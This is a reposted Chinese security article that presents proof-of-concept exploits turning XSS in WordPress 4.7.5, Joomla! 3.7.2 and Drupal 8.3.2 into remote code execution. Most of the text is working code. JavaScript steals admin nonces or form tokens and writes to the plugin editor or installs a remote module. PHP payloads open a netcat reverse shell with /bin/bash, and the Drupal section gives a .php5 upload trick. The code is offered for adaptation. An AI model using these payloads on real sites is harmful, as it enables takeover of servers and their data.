教你如何使用XSS来搞定当下热门的CMS(含演示视频)

栏目: 编程工具 · 发布时间: 7年前

内容简介:教你如何使用XSS来搞定当下热门的CMS(含演示视频)

CMS(内容管理系统)不仅具有模块安装功能,而且还允许我们查看到系统管理员之前所发送的全部请求。因此,CMS也就成为了XSS攻击的一种绝佳目标,而且我们还可以轻松地对目标发动CSRF(跨站请求伪造)攻击。

简而言之,XSS攻击将有可能允许攻击者在CMS的底层服务器上实现远程代码执行。

教你如何使用XSS来搞定当下热门的CMS(含演示视频)

本文接下来给出的PoC针对的是当下全球最热门的三大CMS(均为目前的最新版本)。 在所有的CMS中,我们通过netcat设置了监听端口5855,并使用 PHP 代码执行了另一个netcat实例与我们建立了回连(反向Shell)。如果你需要不同的PoC,你只需要对代码进行相应的修改即可(WP的JS代码中的“s”变量,Joomla!中的“jml.php”文件,以及Drupal中的“dp/dp.php5”文件)。

WordPress 4.7.5

对于最新版本的WordPress,我们首先要通过解析第一个XHR响应来获取到随机值(Nonce),然后将其在插件“Hello Dolly”(你好,多莉)中进行提交,这个插件是WordPress自带的。当然了,你也可以使用其他的插件。

p ='/wordpress/wp-admin/plugin-editor.php?';
q ='file=hello.php';
s ='<?=`nc localhost 5855 -e /bin/bash`;';
 
a =new XMLHttpRequest();
a.open('GET',p+q, 0);
a.send();
 
$ ='_wpnonce=' + /nonce"value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent='+ s + '&action=update&' + q;
 
b =new XMLHttpRequest();
b.open('POST',p+q, 1);
b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
b.send($);
 
b.onreadystatechange= function(){
   if (this.readyState == 4) {
     fetch('/wordpress/wp-content/plugins/hello.php');
   }
}

将上面这段代码保存为一个JS文件(比如说“wp-rce.js”),然后在实际的XSS攻击/PoC中通过jQuery的$.getScript()函数调用该文件,或者你也可以直接在浏览器控制台中直接输入代码来进行模拟攻击。

Joomla! 3.7.2

对于Joomla!来说,攻击步骤就有一点不同了,因为我们现在可以安装一个远程模块了。我们首先需要一个zip文件,它需要包含下面这两个文件:

1.jml.xml
 
<?xmlversion="1.0" encoding="utf-8"?>
<extensiontype="module" method="upgrade">
   <files>
      <filename>jml.xml</filename>
      <filenamemodule="jml">jml.php</filename>
   </files>
</extension>
2.jml.php
 
<?=system('nclocalhost 5855 -e /bin/bash');

zip文件准备好之后,将该文件上传到本地服务器中进行托管,然后使用下面的JS代码修改响应的变量“u”:

p ='/joomla/administrator/index.php?';

q ='option=com_installer&view=install';

u ='http://localhost/exploits/jml.zip';

a = newXMLHttpRequest();

a.open('GET',p, 0);

a.send();

$ ='install_directory=/var/www/html/joomla/tmp&install_url=' +

u +&installtype=url&task=install.install&' +

/[a-zA-Z0-9]{32}=1/.exec(a.responseText);

b = newXMLHttpRequest();

b.open('POST',p+q, 1);

b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

b.send($);

b.onreadystatechange= function(){

if (this.readyState == 4) {

fetch('/joomla/modules/jml/jml.php');

}

}

将上面这段代码保存为一个JS文件(比如说“jml-rce.js”),然后在实际的XSS攻击/PoC中通过jQuery的$.getScript()函数调用该文件,或者你也可以直接在浏览器控制台中直接输入代码来进行模拟攻击。

Drupal 8.3.2

在这三个CMS中,Drupal可以算得上是最复杂了的。在利用其漏洞进行攻击的过程中,我们不仅需要使用默认的令牌处理程序,而且还需要在服务器上托管zip或tar.gz文件,为了完成整个操作,我们还要加载一些JS脚本。不过值得庆幸的是,我们只需要提取出第二个XHR响应中的一个URL地址,然后对其进行简单的修改,最后将它通过一个iframe进行加载即可。

除此之外,我们还要为tar.gz文件创建一个“dp”文件夹来保存这两个文件:

1.dp/dp.info.yml
 
name:x
type:module
core:8.x
2.dp/dp.php5
 
<?=system('nclocalhost 5855 -e /bin/bash');

是的,你没看错。我们的PHP文件后缀名必须为.php5,否则它将无法正常工作。Drupal不允许执行.php文件,如果用户请求这类文件的话,系统会返回一个403错误状态码,如果使用php5作为后缀的话,我们就可以绕过这个限制了。

准备好了tar.gz文件之后,将其上传到服务器中,然后使用下列JS代码修改相应的变量“u”:

p ='/drupal/admin/modules/install';
u ='http://localhost/exploits/dp.tar.gz';
 
a =new XMLHttpRequest();
a.open('GET',p, 0);
a.send();
 
$ ='project_url=' + u + '&form_token=' +
/form_token"value="([^"]*?)"/.exec(a.responseText)[1] +'&form_id=update_manager_install_form';
 
b =new XMLHttpRequest();
b.open('POST',p, 1);
b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
b.send($);
 
b.onreadystatechange= function() {
   if (this.readyState == 4) {
      o =/URL=([^"]*?)"/.exec(b.responseText)[1].replace(/amp;/g,"");
      i = document.createElement('iframe');
      i.setAttribute = ('style','visibility:none');
      i.src = o.replace("do_nojs","start");
      document.body.appendChild(i);
     setTimeout(function(){fetch('/drupal/modules/dp/dp.php5')}, 1000);
   }
}

将上面这段代码保存为一个JS文件(比如说“dp-rce.js”),然后在实际的XSS攻击/PoC中通过jQuery的$.getScript()函数调用该文件,或者你也可以直接在浏览器控制台中直接输入代码来进行模拟攻击。

演示视频

下面这个视频演示了本文所介绍的三种漏洞利用技术,视频非常短,感兴趣的同学可以点击观看:

* 参考来源: brutelogic , FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《教你如何使用XSS来搞定当下热门的CMS(含演示视频)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Spring 3.x企业应用开发实战

Spring 3.x企业应用开发实战

陈雄华 / 电子工业出版社 / 2012-2-1 / 90.00元

内容简介 Spring 3.0是Spring在积蓄了3年之久后,隆重推出的一个重大升级版本,进一步加强了Spring作为Java领域第一开源平台的翘楚地位。 Spring 3.0引入了众多Java开发者翘首以盼的新功能和新特性,如OXM、校验及格式化框架、REST风格的Web编程模型等。这些新功能实用性强、易用性高,可大幅降低Java应用,特别是Java Web应用开发的难度,同时有效......一起来看看 《Spring 3.x企业应用开发实战》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码